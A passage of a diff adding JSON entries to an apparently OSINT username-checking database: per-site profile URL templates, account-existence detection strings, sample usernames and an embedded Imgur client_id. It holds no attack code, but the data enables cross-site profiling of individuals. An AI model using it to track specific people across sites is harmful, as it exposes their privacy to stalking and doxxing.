"http://gribnikikybani.mybb.ru", + "url": "http://gribnikikybani.mybb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gribnyemesta": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 491590, + "urlMain": "https://gribnyemesta.unoforum.pro", + "url": "https://gribnyemesta.unoforum.pro/?32-{username}", + "usernameClaimed": "raevsku", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gulfcoastgunforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3333046, + "urlMain": "https://gulfcoastgunforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gumroad": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "title=\"Gumroad\"" + ], + "regexCheck": "^[^\\.]+$", + "alexaRank": 4728, + "urlMain": "https://www.gumroad.com/", + "url": "https://www.gumroad.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gunandgame": { + "disabled": true, + "ignore403": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "urlMain": "https://www.gunandgame.co", + "url": "https://www.gunandgame.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gunboards": { + "tags": [ + "forum", + "in", + "us" + ], + "presenseStrs": [ + "latest-activity" + ], + "engine": "XenForo", + "alexaRank": 662496, + "urlMain": "https://forums.gunboards.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Guns.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430" + ], + "absenceStrs": [ + "\u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 29785, + "urlMain": "https://forum.guns.ru/", + "url": "https://forum.guns.ru/forummisc/show_profile/00098415?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GunsAndAmmo": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 119883, + "urlMain": "https://gunsandammo.com/", + "url": "https://forums.gunsandammo.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Guru": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 4420, + "urlMain": "https://www.guru.com", + "url": "https://www.guru.com/freelancers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GuruShots": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "GS POINTS" + ], + "alexaRank": 20926, + "urlMain": "https://gurushots.com/", + "url": "https://gurushots.com/{username}/photos", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gvectors": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 97985, + "urlMain": "https://gvectors.com", + "url": "https://gvectors.com/forum/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackTheBox": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 26375, + "urlMain": "https://forum.hackthebox.eu/", + "url": "https://forum.hackthebox.eu/profile/{username}", + "usernameClaimed": "angar", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Hackaday": { + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "alexaRank": 33363, + "urlMain": "https://hackaday.io/", + "url": "https://hackaday.io/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Hackenproof": { + "tags": [ + "in", + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "Stats" + ], + "absenceStrs": [ + "Top hackers of" + ], + "alexaRank": 662911, + "urlMain": "https://hackenproof.com/arbin", + "url": "https://hackenproof.com/{username}", + "usernameClaimed": "arbin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackerNews": { + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No such user" + ], + "alexaRank": 7111, + "urlMain": "https://news.ycombinator.com/", + "url": "https://news.ycombinator.com/user?id={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackerOne": { + "tags": [ + "hacking", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "alexaRank": 9786, + "urlMain": "https://hackerone.com/", + "url": "https://hackerone.com/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackeralexaRank": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "Something went wrong" + ], + "urlMain": "https://hackeralexaRank.com/", + "url": "https://hackeralexaRank.com/{username}", + "usernameClaimed": "satznova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackerearth": { + "tags": [ + "freelance" + ], + "checkType": "message", + "alexaRank": 7807, + "absenceStrs": [ + "404. URL not found." + ], + "presenseStrs": [ + "Points" + ], + "urlMain": "https://www.hackerearth.com", + "url": "https://www.hackerearth.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackerrank": { + "checkType": "message", + "presenseStrs": [ + "profile-username-heading" + ], + "absenceStrs": [ + "We could not find the page you were looking for, so we found something to make you laugh to make up for it." + ], + "regexCheck": "^[^\\.]+$", + "url": "https://hackerrank.com/{username}", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackingWithSwift": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Users - Hacking with Swift" + ], + "alexaRank": 25433, + "urlMain": "https://www.hackingwithswift.com", + "url": "https://www.hackingwithswift.com/users/{username}", + "usernameClaimed": "davextreme", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackthissite": { + "tags": [ + "hacking" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Cannot Retrieve Information For The Specified Username" + ], + "alexaRank": 77182, + "urlMain": "https://www.hackthissite.org", + "url": "https://www.hackthissite.org/user/view/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hairmaniac": { + "tags": [ + "medicine", + "ru" + ], + "checkType": "status_code", + "alexaRank": 410477, + "urlMain": "https://www.hairmaniac.ru/", + "url": "https://www.hairmaniac.ru/profile/{username}/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Handgunforum": { + "disabled": true, + "tags": [ + "ca", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1293514, + "urlMain": "https://www.handgunforum.net", + "url": "https://www.handgunforum.net/xf/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hardforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 43068, + "urlMain": "https://hardforum.com", + "url": "https://hardforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hctorpedo": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 223884, + "urlMain": "http://hctorpedo.ru", + "url": "http://hctorpedo.ru/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hellboundhackers": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 234900, + "urlMain": "https://www.hellboundhackers.org", + "url": "https://www.hellboundhackers.org/user/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hexrpg": { + "checkType": "message", + "presenseStrs": [ + "Real Name" + ], + "absenceStrs": [ + "Error : User " + ], + "url": "https://www.hexrpg.com/userinfo/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hipforums": { + "tags": [ + "forum", + "in", + "ru", + "us" + ], + "disabled": true, + "engine": "XenForo", + "alexaRank": 389296, + "urlMain": "https://www.hipforums.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hitmanforum": { + "tags": [ + "forum", + "rs", + "us" + ], + "engine": "Discourse", + "alexaRank": 650297, + "urlMain": "https://www.hitmanforum.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hockeyforum": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 3554704, + "urlMain": "https://www.hockeyforum.com", + "url": "https://www.hockeyforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777", + "tags": [ + "forum", + "sport" + ] + }, + "Holiday.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u043d\u043a\u0435\u0442\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u0430, \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430" + ], + "urlMain": "https://www.holiday.ru", + "url": "https://www.holiday.ru/ru/{username}", + "usernameClaimed": "marina", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7663548 + }, + "Hometheaterforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 203539, + "urlMain": "https://www.hometheaterforum.com", + "url": "https://www.hometheaterforum.com/community/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Honda": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1598732, + "urlMain": "https://honda.org.ua", + "url": "https://honda.org.ua/forum/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hoobly": { + "disabled": true, + "tags": [ + "classified", + "in" + ], + "checkType": "status_code", + "alexaRank": 25774, + "urlMain": "https://www.hoobly.com", + "url": "https://www.hoobly.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hotcopper": { + "tags": [ + "finance" + ], + "checkType": "message", + "absenceStrs": [ + "error-page", + "error-page home container", + "card-footer-item", + ">
    " + ], + "alexaRank": 4912, + "urlMain": "https://www.ifttt.com/", + "url": "https://www.ifttt.com/p/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Inkbunny": { + "checkType": "message", + "presenseStrs": [ + "Profile | Inkbunny, the Furry Art Community" + ], + "absenceStrs": [ + "Members | Inkbunny, the Furry Art Community" + ], + "url": "https://inkbunny.net/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ipolska.pl": { + "checkType": "message", + "presenseStrs": [ + "@ipolska.pl" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://ipolska.pl/@{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IRC-Galleria": { + "tags": [ + "fi", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Ei hakutuloksia" + ], + "alexaRank": 118778, + "urlMain": "https://irc-galleria.net", + "url": "https://irc-galleria.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ITVDN Forum": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "Discourse", + "alexaRank": 144827, + "urlMain": "https://forum.itvdn.com", + "usernameClaimed": "pizzaro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Icheckmovies": { + "tags": [ + "movies" + ], + "checkType": "status_code", + "alexaRank": 86080, + "urlMain": "https://www.icheckmovies.com/", + "url": "https://www.icheckmovies.com/profiles/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Icobench": { + "tags": [ + "in", + "kr", + "ru" + ], + "checkType": "response_url", + "alexaRank": 42461, + "urlMain": "https://icobench.com", + "url": "https://icobench.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ieoc": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1096765, + "urlMain": "https://ieoc.com/", + "url": "https://ieoc.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Iknifecollector": { + "checkType": "response_url", + "alexaRank": 9284485, + "urlMain": "https://iknifecollector.com", + "url": "https://iknifecollector.com/profiles/profile/show?id={username}", + "usernameClaimed": "BryanW", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Illustrators": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 98573, + "urlMain": "https://illustrators.ru", + "url": "https://illustrators.ru/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ImageShack": { + "tags": [ + "photo", + "sharing" + ], + "checkType": "response_url", + "alexaRank": 9748, + "urlMain": "https://imageshack.com/", + "url": "https://imageshack.com/user/{username}", + "errorUrl": "https://imageshack.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ImgUp.cz": { + "errors": { + "Composer detected issues in your platform": "Site error" + }, + "checkType": "status_code", + "alexaRank": 2499762, + "urlMain": "https://imgup.cz/", + "url": "https://imgup.cz/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Imgur": { + "tags": [ + "photo" + ], + "urlProbe": "https://api.imgur.com/account/v1/accounts/{username}?client_id=546c25a59c58ad7&include=trophies%2Cmedallions", + "checkType": "status_code", + "alexaRank": 77, + "urlMain": "https://imgur.com", + "url": "https://imgur.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Indog": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 4380944, + "urlMain": "http://www.indog.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Influenster": { + "tags": [ + "us" + ], + "errors": { + "Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "checkType": "message", + "absenceStrs": [ + "404 - Page not found" + ], + "alexaRank": 15753, + "urlMain": "https://www.influenster.com/", + "url": "https://www.influenster.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "InfosecInstitute": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15970, + "urlMain": "https://community.infosecinstitute.com", + "url": "https://community.infosecinstitute.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infourok": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2683, + "urlMain": "https://infourok.ru", + "url": "https://infourok.ru/user/{username}", + "usernameClaimed": "artemeva-evgeniya-evgenevna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infrance": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 215449, + "urlMain": "https://www.infrance.su/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infura": { + "tags": [ + "forum", + "kr", + "us" + ], + "engine": "Discourse", + "alexaRank": 40621, + "urlMain": "https://community.infura.io", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ingunowners": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://www.ingunowners.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5872258 + }, + "Ingvarr": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 103551, + "urlMain": "http://ingvarr.net.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Insanejournal": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 Not Found", + "is not currently registered" + ], + "alexaRank": 57161, + "urlMain": "insanejournal.com", + "url": "http://{username}.insanejournal.com/profile", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Instagram": { + "disabled": true, + "tags": [ + "photo" + ], + "errors": { + "Login \u2022 Instagram": "Login required" + }, + "checkType": "message", + "presenseStrs": [ + "
    " + ], + "alexaRank": 32, + "urlMain": "https://www.instagram.com/", + "url": "https://www.instagram.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Instructables": { + "tags": [ + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "404: We're sorry, things break sometimes" + ], + "alexaRank": 1531, + "urlMain": "https://www.instructables.com/", + "url": "https://www.instructables.com/member/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Interfaith": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 3172198, + "urlMain": "https://www.interfaith.org", + "url": "https://www.interfaith.org/community/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Invalidnost": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 506211, + "urlMain": "https://www.invalidnost.com", + "usernameClaimed": "astra71", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IonicFramework": { + "checkType": "status_code", + "url": "https://forum.ionicframework.com/u/{username}", + "usernameClaimed": "theblue222", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Iphones.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 14073, + "urlMain": "https://www.iphones.ru", + "url": "https://www.iphones.ru/iNotes/author/{username}?profile=1", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ispdn": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "errors": { + "The script encountered an error and will be aborted": "Site error" + }, + "alexaRank": 3405363, + "urlMain": "http://ispdn.ru", + "url": "http://ispdn.ru/forum/user/{username}/", + "usernameClaimed": "AlexG", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IssueHunt": { + "tags": [ + "dz", + "finance", + "in", + "ir", + "tr", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user does not exist." + ], + "presenceStrs": [ + "IssueHunt contributions in the past year" + ], + "alexaRank": 379149, + "urlMain": "https://issuehunt.io", + "url": "https://issuehunt.io/u/{username}", + "usernameClaimed": "admc", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Issuu": { + "urlProbe": "https://issuu.com/query?format=json&_=3210224608766&profileUsername={username}&action=issuu.user.get_anonymous", + "checkType": "message", + "presenseStrs": [ + "displayName" + ], + "absenceStrs": [ + "No such user" + ], + "alexaRank": 454, + "urlMain": "https://issuu.com/", + "url": "https://issuu.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "business" + ] + }, + "Italia": { + "tags": [ + "it", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 238714, + "urlMain": "http://italia-ru.com/", + "url": "http://italia-ru.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itch.io": { + "tags": [ + "blog" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 1673, + "urlMain": "https://itch.io/", + "url": "https://{username}.itch.io/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itforums": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 3291616, + "urlMain": "https://itforums.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itfy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 3103762, + "urlMain": "https://itfy.org", + "url": "https://itfy.org/members/?username={username}", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jbzd": { + "checkType": "message", + "presenseStrs": [ + "Dzidy u\u017cytkownika" + ], + "absenceStrs": [ + "B\u0142\u0105d 404" + ], + "url": "https://jbzd.com.pl/uzytkownik/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jeja.pl": { + "checkType": "message", + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "absenceStrs": [ + "Niepoprawny login" + ], + "url": "https://www.jeja.pl/user,{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jellyfin Weblate": { + "checkType": "message", + "presenseStrs": [ + "user-page text-center" + ], + "absenceStrs": [ + "Page not found" + ], + "url": "https://translate.jellyfin.org/user/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jer.forum24.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "urlMain": "http://jer.forum24.ru", + "url": "http://jer.forum24.ru/?32-{username}", + "usernameClaimed": "aga", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jetpunk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 File Not Found" + ], + "alexaRank": 36980, + "urlMain": "https://www.jetpunk.com", + "url": "https://www.jetpunk.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jigidi": { + "tags": [ + "hobby" + ], + "checkType": "status_code", + "alexaRank": 204505, + "urlMain": "https://www.jigidi.com/", + "url": "https://www.jigidi.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jigsawplanet": { + "tags": [ + "fr", + "us" + ], + "checkType": "status_code", + "alexaRank": 4584, + "urlMain": "https://www.jigsawplanet.com", + "url": "https://www.jigsawplanet.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jimdo": { + "tags": [ + "jp" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 19348, + "urlMain": "https://jimdosite.com/", + "url": "https://{username}.jimdosite.com", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joby": { + "tags": [ + "freelance", + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 5916275, + "urlMain": "https://joby.su", + "url": "https://joby.su/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joemonster": { + "checkType": "message", + "presenseStrs": [ + "Aktywno\u015b\u0107 bojownicza" + ], + "absenceStrs": [ + "Nie wiem jak ci to powiedzie\u0107" + ], + "url": "https://joemonster.org/bojownik/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joomlart": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "user-scalable=no" + ], + "alexaRank": 32848, + "urlMain": "https://www.joomlart.com", + "url": "https://www.joomlart.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "JoplinApp": { + "checkType": "status_code", + "url": "https://discourse.joplinapp.org/u/{username}", + "usernameClaimed": "laurent", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Justforfans": { + "checkType": "message", + "presenseStrs": [ + "@ JustFor.Fans" + ], + "absenceStrs": [ + "Show Me:" + ], + "url": "https://justfor.fans/{username}", + "usernameClaimed": "devinfrancoxxx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Justlanded": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 9626, + "urlMain": "https://community.justlanded.com", + "url": "https://community.justlanded.com/en/profile/{username}", + "usernameClaimed": "rahul-vaidya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Juventuz": { + "tags": [ + "forum", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 1134190, + "urlMain": "https://www.juventuz.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kaggle": { + "tags": [ + "tech" + ], + "checkType": "status_code", + "alexaRank": 1947, + "urlMain": "https://www.kaggle.com/", + "url": "https://www.kaggle.com/{username}", + "usernameClaimed": "dansbecker", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kali community": { + "disabled": true, + "tags": [ + "forum", + "in" + ], + "errors": { + "You are not logged in or you do not have permission to access this page.": "Auth required" + }, + "engine": "vBulletin", + "alexaRank": 9210, + "urlMain": "https://forums.kali.org/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KanoWorld": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 267755, + "urlMain": "https://world.kano.me/", + "url": "https://api.kano.me/progress/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Karab.in": { + "checkType": "message", + "presenseStrs": [ + "Do\u0142\u0105czy\u0142:" + ], + "absenceStrs": [ + "B\u0142\u0105d 404" + ], + "url": "https://karab.in/u/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kashalot": { + "tags": [ + "ua" + ], + "checkType": "status_code", + "alexaRank": 173233, + "urlMain": "https://kashalot.com", + "url": "https://kashalot.com/users/{username}/", + "usernameClaimed": "incognito", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kaskus": { + "tags": [ + "id" + ], + "checkType": "status_code", + "alexaRank": 1334, + "urlMain": "https://www.kaskus.co.id", + "url": "https://www.kaskus.co.id/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Keakr": { + "disabled": true, + "checkType": "status_code", + "url": "https://www.keakr.com/en/profile/{username}", + "usernameClaimed": "beats", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BeatStars": { + "checkType": "message", + "url": "https://www.beatstars.com/{username}", + "presenseStrs": [ + "Stats" + ], + "absenceStrs": [ + "Page not found" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kerch Forum": { + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 314531, + "urlMain": "http://forum.kerch.com.ru", + "url": "http://forum.kerch.com.ru/search/?q={username}", + "usernameClaimed": "Milla", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Keybase": { + "tags": [ + "business", + "us" + ], + "urlProbe": "https://keybase.io/_/api/1.0/user/lookup.json?usernames={username}", + "checkType": "message", + "absenceStrs": [ + "them\":[null]", + "bad list value" + ], + "alexaRank": 63440, + "urlMain": "https://keybase.io/", + "url": "https://keybase.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KharkovForum": { + "disabled": true, + "tags": [ + "forum", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 189589, + "urlMain": "https://www.kharkovforum.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kickstarter": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 609, + "urlMain": "https://www.kickstarter.com", + "url": "https://www.kickstarter.com/profile/{username}", + "usernameClaimed": "zhovner", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kik": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The page you requested was not found" + ], + "alexaRank": 599341, + "urlMain": "http://kik.me/", + "url": "https://ws2.kik.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + 